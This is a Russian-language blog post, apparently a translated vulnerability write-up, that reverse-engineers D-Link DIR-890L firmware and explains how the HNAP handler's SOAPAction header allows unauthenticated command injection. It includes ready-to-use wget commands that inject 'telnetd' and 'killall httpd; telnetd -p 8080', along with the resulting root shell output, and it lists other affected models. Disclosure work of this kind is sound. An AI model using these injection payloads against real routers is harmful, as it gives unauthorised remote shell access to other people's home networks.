>
Ноябрь 2017
Пн Вт Ср Чт Пт Сб Вс
« Окт    
 12345
6789101112
13141516171819
20212223242526
27282930  

Взлом роутеров D-Link DIR-890L

Последние 6 месяцев, я был жутко занят и не следил за новыми хренями от D-Link. Чтобы немного поразвлечься, я зашел на их сайт, и меня поприветствовал этот кошмар:


Самый безумный роутер D-Link DIR-890L за $300

Пожалуй, самым «безумным» в роутере является то, что он работает под управлением все той же забагованнойпрошивки, которую D-Link ставит в свои роутеры вот уже несколько лет…and the hits just keep on coming.

Хорошо, давайте как обычно — возьмем последнюю версию прошивки, пройдемся по ней binwalk и посмотрим, что мы получили:

DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7" 116 0x74 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124 0x1C0074 PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes 1835156 0x1C0094 Squashfs filesystem, little endian, version 4.0, compress

Похоже на обычную прошивку с Linux, а если вы заглядывали в любую прошивку D-Link за последние несколько лет, вы без труда вспомните структуру директорий:

$ ls squashfs-root bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www

Все, что относится к HTTP, UPnP и HNAP, расположено в директории htdocs. Самый интересный файл здесь — htdocs/cgibin — ELF-бинарник для ARM, который выполняется вебсервером для, хм, почти всего: все симлинки к CGI, UPnP и HNAP-ссылкам ведут на этот файл:

 

Он, конечно же, stripped, но в нем есть множество строк, которые будут нам в помощь. В первую очередь, mainсравнивает argv[0] со списком известных ему имен симлинков (captcha.cgi, conntrack.cgi и т.д.) чтобы определить, какое действие выполнять:

staircase
Граф вызовов, типичный каскад if/else

Каждое сравнение производится вызовом strcmp на известные имена симлинков:

image
Разные функции обработчиков разных симлинков

Чтобы упростить сопоставление функций-обработчиков и симлинков, переименуем их, согласно имени симлинка:

image
Переименованные функции-обработчики

Теперь, когда у нас есть имена функций, давайте начнем искать баги. Другие устройства от D-Link, работающие под управлением точно такой же прошивки, ранее были взломаны через HTTP и UPnP-интерфейсы, однако, HNAP-интерфейс, который обрабатывается функцией hnap_main в cgibin, похоже, никто особо не смотрел.

HNAP (Home Network Administration Protocol) — протокол на основе SOAP, похожий на UPnP, который обычно используется утилитой для первоначальной настройки D-Link роутеров «EZ». В отличие от UPnP, все действия HNAP, кроме GetDeviceInfo (который бесполезен), требуют HTTP Basic-аутентификацию.

 

 

Заголовок SOAPAction очень важен в HNAP-запросе, т.к. именно он задает, какое действие выполнит сервер (действие AddPortMapping в примере выше).

Вследствие того, что cgibin запускается как CGI-приложение веб-сервером, hnap_main получает данные HNAP-запроса, например, заголовок SOAPAction, через переменные окружения:

image
SOAPAction = getenv(“HTTP_SOAPACTION”);

Ближе к концу hnap_main, вызовом sprintf генерируется shell-команда, которая затем выполняется черезsystem:

image
sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);

Очевидно, что hnap_main использует данные из заголовка SOAPAction внутри команды system! Этот баг подает надежды, особенно, если заголовок SOAPAction не экранируется, и если мы сможем попасть в это место без аутентификации.

В начале hnap_main проверяется, равен ли заголовок SOAPAction строкеhttp://purenetworks.com/HNAP1/GetDeviceSettings, и если он равен, аутентификация пропускается. Это ожидаемо, мы уже подметили ранее, что GetDeviceSettings не требует аутентификации:

image
if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)

Заметим, однако, что для проверки используется функция strstr, которая только проверяет наличие строкиhttp://purenetworks.com/HNAP1/GetDeviceSettings в заголовке SOAPAction, а не равенство ей.
Итак, если заголовок SOAPAction содержит подстроку http://purenetworks.com/HNAP1/GetDeviceSettings, функция достает название действия (т.е. GetDeviceSettings) из заголовка и убирает двойные кавычки:

image
SOAPAction = strrchr(SOAPAction, ‘/’);

Имя действия (GetDeviceSettings) вычленяется из заголовка, затем попадает в system, проходя sprintf.
Вот код на C, который демонстрирует ошибку в логике:

Итак, что мы из этого вынесли:

  • Проверка аутентификации отсутствует, если в заголовке SOAPAction есть подстрокаhttp://purenetworks.com/HNAP1/GetDeviceSettings
  • В sprintf  system) передается все, что находится после последнего слеша в заголовке SOAPAction

Мы с легкостью можем сформировать заголовок SOAPAction, который будет удовлетворять пропуску аутентификации и позволять нам передавать свою строку в system:

SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/reboot"

http://purenetworks.com/HNAP1/GetDeviceSettings в заголовке позволяет нам обойти аутентификацию, а строка reboot будет передана в system

system("sh /var/run/reboot.sh > /dev/console");

Заменой reboot на telnetd мы запустим telnet-сервер без аутентификации:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/telnetd"' http://192.168.0.1/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #

Мы можем отправлять HNAP-запросы из WAN, если было включено удаленное администрирование. Конечно, брандмауер блокирует все входящие соединения на telnet из WAN. Самое простое решение — убить HTTP-сервер и запустить telnetd на его порту:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/killall httpd; telnetd -p 8080"' http://1.2.3.4:8080/HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #

Замечу, что wget будет висеть в ожидании ответа, т.к. cgibin будет ожидать завершение telnetd. Вот маленький PoC на Python, который все делает чуточку удобней:

 

 

Я проверил этот баг на прошивках v1.00 и v1.03 (последняя на момент написания статьи), и они обе уязвимы. Но, как это обычно бывает с большинством уязвимостей в embedded, этот код попал и в прошивки других устройств.

Анализировать все прошивки довольно утомительно, поэтому я передал инфромацию о баге командеCentrifuge, у которых есть отличие утилиты для автоматического анализа подобных вещей. Centrifuge обнаружили эту уязвимость в следующих моделях:

  • DAP-1522 revB
  • DAP-1650 revB
  • DIR-880L
  • DIR-865L
  • DIR-860L revA
  • DIR-860L revB
  • DIR-815 revB
  • DIR-300 revB
  • DIR-600 revB
  • DIR-645
  • TEW-751DR
  • TEW-733GR

Насколько я знаю, HNAP на этих устройствах никаким образом отключить нельзя.

UPDATE: Похоже, в начале года этот же баг нашел Samuel Huntly, но он был исправлен только для DIR-645. Патч достаточно хреновый, ждите его разбор в следующем посте.

[Всего голосов: 2    Средний: 2.5/5]

Share Button

Вам может быть интересно также:

Last updated by at .

2 комментария Взлом роутеров D-Link DIR-890L

Leave a Reply

You can use these HTML tags

<a href="" title="" rel=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">